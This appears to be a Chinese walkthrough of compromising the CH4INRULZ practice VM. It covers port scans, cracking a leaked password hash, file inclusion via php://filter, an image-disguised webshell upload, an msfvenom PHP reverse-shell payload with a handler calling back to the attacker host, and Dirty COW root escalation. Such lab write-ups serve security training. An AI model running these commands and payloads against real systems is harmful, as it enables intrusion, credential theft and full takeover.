靶机渗透记录—CH4INRULZ_v1.0.1
文章首发于星盟安全公众号
打开靶机
信息搜集
然后切换到攻击机 先去做信息搜集 扫描一下同网段内存活的主机
nmap -sP -n 192.168.191.0/24
扫到了一个192.168.191.129
探测一下
nmap -sS -sV -Pn -n 192.168.191.129
加个-A探测更详细的版本信息
nmap -sS -sV -A -Pn -n -p- 192.168.191.129
扫描到了 21 22 80 8011端口 其中80 8011都是web服务
查看主站
先去看看80端口吧 网站没啥东西
扫描一下目录
发现可以目录访问网站
扫描到了http://192.168.191.129/development/ 访问会让输入用户名和密码
试试admin + 弱口令 手动输入了几个都不对
还扫描到了一个备份文件index.html.bak
1 | <html><body><h1>It works!</h1> |
这段貌似是用户名和密码 但是密码是经过加密的
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
用john爆破一下
知道了用户名和密码
frank:frank!!!
登录http://192.168.191.129/development/页面
网页如下 并没有什么东西
看到提示是一个没有完成的上传界面
通过猜关键词upload uploads uploader
找到一个文件上传点
看看能不能传个木马上去 几番尝试之后发现是白名单
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.
只允许only JPG, JPEG, PNG & GIF
查看旁站
再去看看8011端口
扫描一下 扫出来了 http://192.168.191.129:8011/api/
这个API将用于与Frank的服务器通信
但仍在开发中
访问一下这些php文件
发现只有 files_api.php 是存在的
翻译:
没有传递给我名为file的参数
*注意:这个API不使用json,所以以原始格式发送文件名
那貌似是文件上传呀 先随便填一个file参数试一下
wrong input
换个参数试试
没反应 那说明file参数是接收的
接下来试一下post传参 没啥反应
换个内容 原来是可以任意读取的
用伪协议读一下页面源码试试
解码如下
1 | <head> |
post进去的可以被包含
Msf Getshell
回主站上传图片马
加上GIF文件头 上传成功
但是不知道上传到哪里去了 利用文件包含去猜一下
apache服务器一般是在 /var/www/下
file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php
base64解密后拿到了源码
1 |
|
第二行就看到了目录
1 | $target_dir = "FRANKuploads/"; |
再回旁站去包含
成功访问大马 但是不是一直包含是没法用的
那就用msf生成一个反弹shell的马
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.128 LPORT=8888 -f raw -o 1.php |
然后启动监听
1 | msf5 > use exploit/multi/handler |
msf准备好了 接下来去上传然后包含
成功反弹
只有个www-data权限 在msf的shell里总是有乱码 所以想传个马方便一些
查看当前目录是/var/anotherwww/api
传一个大马上去 发现只有FRANKuploads文件夹有权限上传
有了大马 舒服了很多
脏牛提权
在大马里执行命令 查看系统内核版本
上传一个linux exp探索工具
然后加一个执行权限
chmod +x linux-exploit-suggester.sh
执行./chmod +x linux-exploit-suggester.sh
工具给出一些建议 尝试相应的poc
来用CVE-2016-5195(脏牛)提权 去网上找个
百度到的脏牛提权复现文章:https://blog.csdn.net/haha13l4/article/details/96913574
poc下载:https://github.com/FireFart/dirtycow
下载exp 然后编译一下
gcc -pthread dirty.c -o dirty -lcrypt
然后把编译完的exp上传到靶机
然后赋予执行权限chmod +x dirty
缺少依赖报错
执行的时候却遇到了缺少依赖的错误 应该是gcc缺少依赖的原因
那我就换个虚拟机再去编译一下
于是换到另一个ubuntu虚拟机重新编译
gcc -pthread dirty.c -o dirty -lcrypt
重新上传并赋予执行权限
提权成功
现在我们可以用找个用户名和密码登录了
直接ssh登录
看一下权限 已经获得了root
拿到root.txt
总结
1.该靶机信息搜集阶段很重要,扫描的时候好的字典很重要
2.主站没思路去旁站
3.提权有问题多百度该漏洞的复现文章,过程中报错就百度错误,总会解决的